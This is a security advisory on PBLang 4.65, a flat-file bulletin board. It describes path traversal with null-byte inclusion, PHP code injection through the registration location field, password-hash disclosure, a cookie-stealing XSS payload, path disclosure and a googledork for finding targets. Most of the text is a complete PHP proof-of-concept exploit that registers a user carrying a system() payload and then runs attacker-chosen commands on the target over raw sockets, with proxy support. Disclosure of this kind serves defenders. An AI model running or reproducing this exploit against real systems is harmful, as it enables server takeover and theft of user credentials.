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PBLang 4.65 (possibly prior versions) remote code execution / administrative
credentials disclosure / system information disclosure / cross site scripting /
path disclosure
software:
description: PBLang is a powerful flatfile Bulletin Board System. It combines
many features of a professional board, but does not even require SQL support. It
is completely based on text-file.
site: http://pblang.drmartinus.de/
download: https://sourceforge.net/project/showfiles.php?group_id=62953
1) system disclosure:
you can traverse directories and see any file (if not .php or .php3 etc.) and
include any file on target system using '../' chars and null byte (%00), example:
http://target]/[path]/pblang/setcookie.php?u=../../../../../etc/passwd%00
vulnerable code in setcookie.php:
...
16 $usrname=$HTTP_GET_VARS['u'];
17 @include($dbpath.'/'.$usrname.'temp');
...
2) remote code execution:
board stores data in files, when you register a [username] file without extension
is created in /db/members directory, inside we have php code executed when you
login, so in location field type:
madrid"; system($HTTP_POST_VARS[cmd]); echo "
in /db/members/[username] file we have
...
$userlocation="madrid"; system($HTTP_GET_VARS[cmd]); echo "";
...
no way to access the script directly, /db/members is .htaccess protected
and extra lines are deleted from files after you login, so you should make
all in a POST request and re-register
this is my proof of concept exploit, to include [username] file I make a GET
request of setcookie.php?u=[username]%00&cmd=[command] but you can call username
file through some other inclusion surely when you surf the forum:
<?php
/* PBLang 4.65 (possibly prior versions) remote code execution
by rgod -> site: http://rgod.altervista.org
make these changes in php.ini if you have troubles with this script:
allow_call_time_pass_reference = on
register_globals = on */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo '<head><title>PBLang 4.65 remote commands execution</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
body,td,th {color: #00FF00;}
body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight: bold;
font-style: italic;
}
-->
</style></head>
<body>
<p class="Stile6">PBLang 4.65 (possibly prior versions) remote commands
execution</p>
<p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"
target="_blank">http://rgod.altervista.org</a></p>
<table width="84%" >
<tr>
<td width="43%">
<form name="form1" method="post"
action="'.$SERVER[PHP_SELF].
'?path=value&host=value&port=value&command=value&proxy=value"
>
<p>
<input type="text" name="host">
<span class="Stile5">hostname (ex: www.sitename.com) </span></p>
<p>
<input type="text" name="path">
<span class="Stile5">path (ex: /pblang/ or /forum/ or just /) </span></p>
<p>
<input type="text" name="port">
<span class="Stile5">specify a port other than 80 (default value) </span></p>
<p>
<input type="text" name="command">
<span class="Stile5">a Unix command, example: ls -la to list directories, cat
/etc/passwd to show passwd file </span></p>
<p>
<input type="text" name="proxy">
<span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
<p>
<input type="submit" name="Submit" value="go!">
</p>
</form></td>
</tr>
</table>
</body>
</html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td>  </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,
3}\:\d{1,5}\b)';
if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}
$anumber=rand();
$data="user=jimihendrix".$anumber.
"&pass=jimijimi&pass2=jimijimi&em=jimimail".$anumber.
"@jimimail.
com&realname=&alias=&msn=&icq=&aim=&yahoo=&qq=&we
b=http%3A%2F%2F&loc=".urlencode('madrid";
error_reporting(0); system($HTTP_GET_VARS[cmd]); echo "')
."&pt=colorgination.
com+harness+racing+video&av=none&webav=&sig=®code=1126055838&
lang=en&accept=1&Submit=Submit";
if ($proxy=='')
{ $packet="POST ".$path."register.php?reg=2 HTTP/1.1\r\n"; }
else
{
$c = preg_match_all($proxy_regex,$proxy,$is_proxy);
if ($c==0) {
echo 'check the proxy...<br>';
die;
}
else
{ $packet="POST http://".$host.$path."register.php?reg=2 HTTP/1.1\r\n";}
}
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: ".$host.$path."register.php?reg=1\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: msnbot/1.0 (+http://search.msn.com/msnbot.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).
chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
if ($proxy=='')
{ $packet="GET
".$path."setcookie.php?u=jimihendrix".$anumber.
"%00&cmd=".urlencode($command)."
HTTP/1.1\r\n"; }
else
{ $packet="GET
http://".$host.$path."setcookie.php?u=jimihendrix".$anumber.
"%00&cmd=".urlencode($command)."
HTTP/1.1\r\n"; }
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: ".$host.$path."login.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (compatible; Konqueror/3.3; Linux) KHTML/3.3.2
(like Gecko)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
// $packet.=$data;
show($packet);
if ($proxy=='')
{$fp=fsockopen(gethostbyname($host),$port);}
else
{$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$fp=fsockopen($parts[0],$parts[1]);
if (!$fp) { echo 'No response from proxy...';
die;
}
}
fputs($fp,$packet);
$data='';
if ($proxy=='')
{
while (!feof($fp))
{
$data.=fgets($fp);
}
}
else
{
$data='';
while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).
chr(0x0a),$data)))
{
$data.=fread($fp,1);
}
}
fclose($fp);
echo nl2br(htmlentities($data));
}
?>
3)admin/user credentials disclosure:
you can see password hash of any user or admin sending the command:
cat ./db/members/[username]
4) cross site scripting:
register and in location field type:
madrid"; echo "<script>alert(document.cookie)</script>
then check this url:
http://[target]/[path]/setcookie.php?u=[username]%00
5) path disclosure:
http://[target]/[path]/setcookie.php?u=%00
googledork: "Software PBLang" filetype:php
rgod
site: http://rgod.altervista.org
mail: retrogod@aliceposta.it
original advisory: http://rgod.altervista.org/pblang465.html
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